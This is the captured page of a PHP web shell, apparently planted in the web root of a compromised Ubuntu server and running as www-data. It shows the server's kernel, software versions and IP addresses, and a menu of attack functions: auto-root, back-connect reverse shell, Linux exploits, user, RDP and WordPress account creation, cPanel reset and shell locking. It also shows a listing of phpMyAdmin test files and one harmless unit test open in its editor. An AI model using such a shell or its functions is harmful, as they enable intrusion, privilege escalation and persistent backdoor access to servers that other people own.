Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.188.148.202
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
[ HOME SHELL ]
Name
Size
Permission
Action
Advisory
[ DIR ]
drwxr-xr-x
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
ConfigStorage
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Crypto
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Identifiers
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Partitioning
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Replication
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Stubs
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Tracking
[ DIR ]
drwxr-xr-x
Triggers
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
WebAuthn
[ DIR ]
drwxr-xr-x
_data
[ DIR ]
drwxr-xr-x
AbstractTestCase.php
5.3
KB
-rw-r--r--
ApplicationTest.php
1.63
KB
-rw-r--r--
BookmarkTest.php
3.56
KB
-rw-r--r--
BrowseForeignersTest.php
6.29
KB
-rw-r--r--
CacheTest.php
3.02
KB
-rw-r--r--
CharsetsTest.php
5.3
KB
-rw-r--r--
ConfigTest.php
31.22
KB
-rw-r--r--
ConsoleTest.php
1.38
KB
-rw-r--r--
CoreTest.php
23.3
KB
-rw-r--r--
CreateAddFieldTest.php
19.21
KB
-rw-r--r--
DatabaseInterfaceTest.php
29.52
KB
-rw-r--r--
DbTableExistsTest.php
2.9
KB
-rw-r--r--
EncodingTest.php
5.89
KB
-rw-r--r--
EnvironmentTest.php
478
B
-rw-r--r--
FieldHelper.php
1.09
KB
-rw-r--r--
FieldMetadataTest.php
3.54
KB
-rw-r--r--
FileListingTest.php
3.54
KB
-rw-r--r--
FileTest.php
2.02
KB
-rw-r--r--
FlashMessagesTest.php
1.96
KB
-rw-r--r--
FontTest.php
6.13
KB
-rw-r--r--
FooterTest.php
5.19
KB
-rw-r--r--
GitTest.php
15.08
KB
-rw-r--r--
HeaderTest.php
11.05
KB
-rw-r--r--
IndexColumnTest.php
2.73
KB
-rw-r--r--
IndexTest.php
4.18
KB
-rw-r--r--
InsertEditTest.php
80.72
KB
-rw-r--r--
IpAllowDenyTest.php
6.62
KB
-rw-r--r--
LanguageTest.php
8.44
KB
-rw-r--r--
LinterTest.php
3.57
KB
-rw-r--r--
ListDatabaseTest.php
2.26
KB
-rw-r--r--
LoggingTest.php
570
B
-rw-r--r--
MenuTest.php
1.63
KB
-rw-r--r--
MessageTest.php
14.44
KB
-rw-r--r--
MimeTest.php
990
B
-rw-r--r--
NormalizationTest.php
15.38
KB
-rw-r--r--
OpenDocumentTest.php
1.67
KB
-rw-r--r--
OperationsTest.php
2.19
KB
-rw-r--r--
ParseAnalyzeTest.php
2.1
KB
-rw-r--r--
PdfTest.php
1.4
KB
-rw-r--r--
PluginsTest.php
4.69
KB
-rw-r--r--
ProfilingTest.php
730
B
-rw-r--r--
ResponseRendererTest.php
1.71
KB
-rw-r--r--
SanitizeTest.php
6.99
KB
-rw-r--r--
ScriptsTest.php
3.66
KB
-rw-r--r--
SessionTest.php
741
B
-rw-r--r--
ShowGrantsTest.php
1.78
KB
-rw-r--r--
SqlQueryFormTest.php
5.85
KB
-rw-r--r--
SqlTest.php
30.76
KB
-rw-r--r--
StorageEngineTest.php
18.19
KB
-rw-r--r--
SystemDatabaseTest.php
4.72
KB
-rw-r--r--
TemplateTest.php
5.61
KB
-rw-r--r--
TransformationsTest.php
10.52
KB
-rw-r--r--
TwoFactorTest.php
21.18
KB
-rw-r--r--
TypesByDatabaseVersionTest.php
31.86
KB
-rw-r--r--
TypesTest.php
20.45
KB
-rw-r--r--
UniqueConditionTest.php
13.26
KB
-rw-r--r--
UrlRedirectorTest.php
1.48
KB
-rw-r--r--
UrlTest.php
8.56
KB
-rw-r--r--
UserPasswordTest.php
2.5
KB
-rw-r--r--
UserPreferencesTest.php
12.02
KB
-rw-r--r--
UserPrivilegesFactoryTest.php
5.82
KB
-rw-r--r--
UtilTest.php
55.46
KB
-rw-r--r--
VersionInformationTest.php
9.62
KB
-rw-r--r--
VersionTest.php
1.25
KB
-rw-r--r--
ZipExtensionTest.php
5.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CreateAddFieldTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests; use PhpMyAdmin\CreateAddField; use PhpMyAdmin\DatabaseInterface; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\DataProvider; use function json_encode; #[CoversClass(CreateAddField::class)] class CreateAddFieldTest extends AbstractTestCase { private CreateAddField $createAddField; /** * Set up for test cases */ protected function setUp(): void { parent::setUp(); DatabaseInterface::$instance = $this->createDatabaseInterface(); $this->createAddField = new CreateAddField(DatabaseInterface::getInstance()); } /** * Test for getPartitionsDefinition * * @param string $expected Expected result * @param array<mixed> $request $_REQUEST array */ #[DataProvider('providerGetPartitionsDefinition')] public function testGetPartitionsDefinition(string $expected, array $request): void { $_POST = $request; $actual = $this->createAddField->getPartitionsDefinition(); self::assertSame($expected, $actual); } /** * Data provider for testGetPartitionsDefinition * * @return array<array{string, array<mixed>}> */ public static function providerGetPartitionsDefinition(): array { return [ ['', []], [ ' PARTITION BY HASH (EXPR()) PARTITIONS 2', ['partition_by' => 'HASH', 'partition_expr' => 'EXPR()', 'partition_count' => '2'], ], [ ' PARTITION BY LIST (EXPR2()) PARTITIONS 2 ( PARTITION p0, PARTITION p1)', [ 'partition_by' => 'LIST', 'partition_count' => '2', 'subpartition_by' => 'HASH', 'partition_expr' => 'EXPR2()', 'partitions' => [ [ 'name' => 'p0', 'value_type' => '', 'value' => '', 'engine' => '', 'comment' => '', 'data_directory' => '', 'index_directory' => '', 'max_rows' => '', 'min_rows' => '', 'tablespace' => '', 'node_group' => '', ], [ 'name' => 'p1', 'value_type' => '', 'value' => '', 'engine' => '', 'comment' => '', 'data_directory' => '', 'index_directory' => '', 'max_rows' => '', 'min_rows' => '', 'tablespace' => '', 'node_group' => '', ], ], ], ], [ ' PARTITION BY LIST (EXPR2()) PARTITIONS 2 SUBPARTITION BY HASH (EXPR1()) ' . 'SUBPARTITIONS 2 ( PARTITION p0, PARTITION p1, PARTITION p2 VALUES <value type> (<value>))', [ 'partition_by' => 'LIST', 'partition_count' => '2', 'subpartition_by' => 'HASH', 'subpartition_expr' => 'EXPR1()', 'subpartition_count' => '2', 'partition_expr' => 'EXPR2()', 'partitions' => [ [ 'name' => 'p0', 'value_type' => '', 'value' => '', 'engine' => '', 'comment' => '', 'data_directory' => '', 'index_directory' => '', 'max_rows' => '', 'min_rows' => '', 'tablespace' => '', 'node_group' => '', ], [ 'name' => 'p1', 'value_type' => '', 'value' => '', 'engine' => '', 'comment' => '', 'data_directory' => '', 'index_directory' => '', 'max_rows' => '', 'min_rows' => '', 'tablespace' => '', 'node_group' => '', ], [ 'name' => 'p2', 'value_type' => '<value type>', 'value' => '<value>', 'engine' => '', 'comment' => '', 'data_directory' => '', 'index_directory' => '', 'max_rows' => '', 'min_rows' => '', 'tablespace' => '', 'node_group' => '', ], ], ], ], [ ' PARTITION BY LIST (EXPR2()) PARTITIONS 2 SUBPARTITION BY HASH (EXPR1()) ' . 'SUBPARTITIONS 2 ( PARTITION p0 ENGINE = MRG_MyISAM COMMENT = \'Partition zero\' ' . 'MAX_ROWS = 2048 MIN_ROWS = 25, PARTITION p1 VALUES LESS THAN MAXVALUE, ' . ' PARTITION p2 ( SUBPARTITION p2_s1 DATA DIRECTORY = \'datadir\' INDEX_DIRECTORY = \'indexdir\' ' . 'TABLESPACE = space1 NODEGROUP = ngroup1))', [ 'partition_by' => 'LIST', 'subpartition_by' => 'HASH', 'subpartition_expr' => 'EXPR1()', 'subpartition_count' => '2', 'partition_expr' => 'EXPR2()', 'partition_count' => '2', 'partitions' => [ [ 'name' => 'p0', 'value_type' => '', 'value' => '', 'engine' => 'MRG_MyISAM', 'comment' => 'Partition zero', 'data_directory' => '', 'index_directory' => '', 'max_rows' => '2048', 'min_rows' => '25', 'tablespace' => '', 'node_group' => '', ], [ 'name' => 'p1', 'value_type' => 'LESS THAN MAXVALUE', 'value' => '', 'engine' => '', 'comment' => '', 'data_directory' => '', 'index_directory' => '', 'max_rows' => '', 'min_rows' => '', 'tablespace' => '', 'node_group' => '', ], [ 'name' => 'p2', 'value_type' => '', 'value' => '', 'engine' => '', 'comment' => '', 'data_directory' => '', 'index_directory' => '', 'max_rows' => '', 'min_rows' => '', 'tablespace' => '', 'node_group' => '', 'subpartitions' => [ [ 'name' => 'p2_s1', 'value_type' => '', 'value' => '1', 'engine' => '', 'comment' => '', 'data_directory' => 'datadir', 'index_directory' => 'indexdir', 'max_rows' => '', 'min_rows' => '', 'tablespace' => 'space1', 'node_group' => 'ngroup1', ], ], ], ], ], ], ]; } /** * Test for getTableCreationQuery * * @param string $expected Expected result * @param string $db Database name * @param string $table Table name * @param array<string, string|mixed[]> $request $_REQUEST array */ #[DataProvider('providerGetTableCreationQuery')] public function testGetTableCreationQuery(string $expected, string $db, string $table, array $request): void { $_POST = $request; $actual = $this->createAddField->getTableCreationQuery($db, $table); self::assertSame($expected, $actual); } /** * Data provider for testGetTableCreationQuery * * @return array<array{string, string, string, array<string, string|mixed[]>}> */ public static function providerGetTableCreationQuery(): array { return [ [ 'CREATE TABLE `db`.`table` ();', 'db', 'table', [ 'field_name' => [], 'primary_indexes' => '{}', 'indexes' => '{}', 'unique_indexes' => '{}', 'fulltext_indexes' => '{}', 'spatial_indexes' => '{}', ], ], [ 'CREATE TABLE `db`.`table` () ENGINE = dummy CHARSET=armscii8 COMMENT = \'my \\\'table\';', 'db', 'table', [ 'field_name' => [], 'primary_indexes' => '{}', 'indexes' => '{}', 'unique_indexes' => '{}', 'fulltext_indexes' => '{}', 'spatial_indexes' => '{}', 'tbl_storage_engine' => 'dummy', 'tbl_collation' => 'armscii8', 'connection' => 'aaaa', 'comment' => 'my \'table', ], ], [ 'CREATE TABLE `db`.`table` () CHARSET=armscii8 COMMENT = \'my \\\'table\';', 'db', 'table', [ 'field_name' => [], 'primary_indexes' => '{}', 'indexes' => '{}', 'unique_indexes' => '{}', 'fulltext_indexes' => '{}', 'spatial_indexes' => '{}', 'tbl_storage_engine' => 'Inno\'DB', 'tbl_collation' => 'armscii8', 'connection' => 'aaaa', 'comment' => 'my \'table', ], ], ]; } /** * Data provider for testGetColumnCreationQuery * * @return list<array{string, array<string, string|string[]|false>}> */ public static function providerGetColumnCreationQueryRequest(): array { return [ [ 'ALTER TABLE `my_table` ADD `dd` INT NOT NULL AFTER `d`;', [ 'db' => '2fa', 'field_where' => 'after', 'after_field' => 'd', 'table' => 'aes', 'orig_num_fields' => '1', 'orig_field_where' => 'after', 'orig_after_field' => 'd', 'primary_indexes' => '[]', 'unique_indexes' => '[]', 'indexes' => '[]', 'fulltext_indexes' => '[]', 'spatial_indexes' => '[]', 'field_name' => ['dd'], 'field_type' => ['INT'], 'field_length' => [''], 'field_default_type' => ['NONE'], 'field_default_value' => [''], 'field_collation' => [''], 'field_attribute' => [''], 'field_key' => ['none_0'], 'field_comments' => [''], 'field_virtuality' => [''], 'field_expression' => [''], 'field_move_to' => [''], 'field_mimetype' => [''], 'field_transformation' => [''], 'field_transformation_options' => [''], 'field_input_transformation' => [''], 'field_input_transformation_options' => [''], 'do_save_data' => '1', 'preview_sql' => '1', 'ajax_request' => '1', ], ], [ 'ALTER TABLE `my_table` ADD `dd` INT NOT NULL AFTER `d`, ALGORITHM=INPLACE, LOCK=NONE;', [ 'db' => '2fa', 'field_where' => 'after', 'after_field' => 'd', 'table' => 'aes', 'orig_num_fields' => '1', 'orig_field_where' => 'after', 'orig_after_field' => 'd', 'primary_indexes' => '[]', 'unique_indexes' => '[]', 'indexes' => '[]', 'fulltext_indexes' => '[]', 'spatial_indexes' => '[]', 'field_name' => ['dd'], 'field_type' => ['INT'], 'field_length' => [''], 'field_default_type' => ['NONE'], 'field_default_value' => [''], 'field_collation' => [''], 'field_attribute' => [''], 'field_key' => ['none_0'], 'field_comments' => [''], 'field_virtuality' => [''], 'field_expression' => [''], 'field_move_to' => [''], 'field_mimetype' => [''], 'field_transformation' => [''], 'field_transformation_options' => [''], 'field_input_transformation' => [''], 'field_input_transformation_options' => [''], 'do_save_data' => '1', 'preview_sql' => '1', 'ajax_request' => '1', 'online_transaction' => 'ONLINE_TRANSACTION_ENABLED', ], ], [ 'ALTER TABLE `my_table` ADD `dd` INT NOT NULL AFTER `d`, ' . 'ADD UNIQUE `un1` (`dd`(12), `dd`), ADD UNIQUE `un3` (`dd`(12)) USING ' . 'BTREE COMMENT \'Unique 3\', ADD UNIQUE `un3.1` (`dd`(12)) WITH ' . 'PARSER Parser 1 COMMENT \'Unique 3.1\', ADD UNIQUE `un2` (`dd`(12)) ' . 'KEY_BLOCK_SIZE = 32 USING BTREE COMMENT \'Unique 2\', ALGORITHM=INPLACE, LOCK=NONE;', [ 'db' => '2fa', 'field_where' => 'after', 'after_field' => 'd', 'table' => 'aes', 'orig_num_fields' => '1', 'orig_field_where' => 'after', 'orig_after_field' => 'd', 'primary_indexes' => json_encode([]), 'unique_indexes' => json_encode([ [ 'Key_name' => 'un1', 'Index_comment' => '', 'Index_choice' => 'UNIQUE', 'Key_block_size' => '', 'Parser' => '', 'Index_type' => '', 'columns' => [['col_index' => '0','size' => '12'], ['col_index' => '0','size' => '']], ], [ 'Key_name' => 'un3', 'Index_comment' => 'Unique 3', 'Index_choice' => 'UNIQUE', 'Key_block_size' => '', 'Parser' => 'Parser 1', 'Index_type' => 'BTREE', 'columns' => [['col_index' => '0', 'size' => '12']], ], [ 'Key_name' => 'un3.1', 'Index_comment' => 'Unique 3.1', 'Index_choice' => 'FULLTEXT', 'Key_block_size' => '', 'Parser' => 'Parser 1', 'Index_type' => 'BTREE', 'columns' => [['col_index' => '0', 'size' => '12']], ], [ 'Key_name' => 'un2', 'Index_comment' => 'Unique 2', 'Index_choice' => 'UNIQUE', 'Key_block_size' => '32', 'Parser' => '', 'Index_type' => 'BTREE', 'columns' => [['col_index' => '0', 'size' => '12']], ], ]), 'indexes' => json_encode([]), 'fulltext_indexes' => json_encode([]), 'spatial_indexes' => json_encode([]), 'field_name' => ['dd'], 'field_type' => ['INT'], 'field_length' => [''], 'field_default_type' => ['NONE'], 'field_default_value' => [''], 'field_collation' => [''], 'field_attribute' => [''], 'field_key' => ['none_0'], 'field_comments' => [''], 'field_virtuality' => [''], 'field_expression' => [''], 'field_move_to' => [''], 'field_mimetype' => [''], 'field_transformation' => [''], 'field_transformation_options' => [''], 'field_input_transformation' => [''], 'field_input_transformation_options' => [''], 'do_save_data' => '1', 'preview_sql' => '1', 'ajax_request' => '1', 'online_transaction' => 'ONLINE_TRANSACTION_ENABLED', ], ], ]; } /** @param array<string, string|string[]|false> $request */ #[DataProvider('providerGetColumnCreationQueryRequest')] public function testGetColumnCreationQuery(string $expected, array $request): void { $_POST = $request; $sqlQuery = $this->createAddField->getColumnCreationQuery('my_table'); self::assertSame($expected, $sqlQuery); } }
Close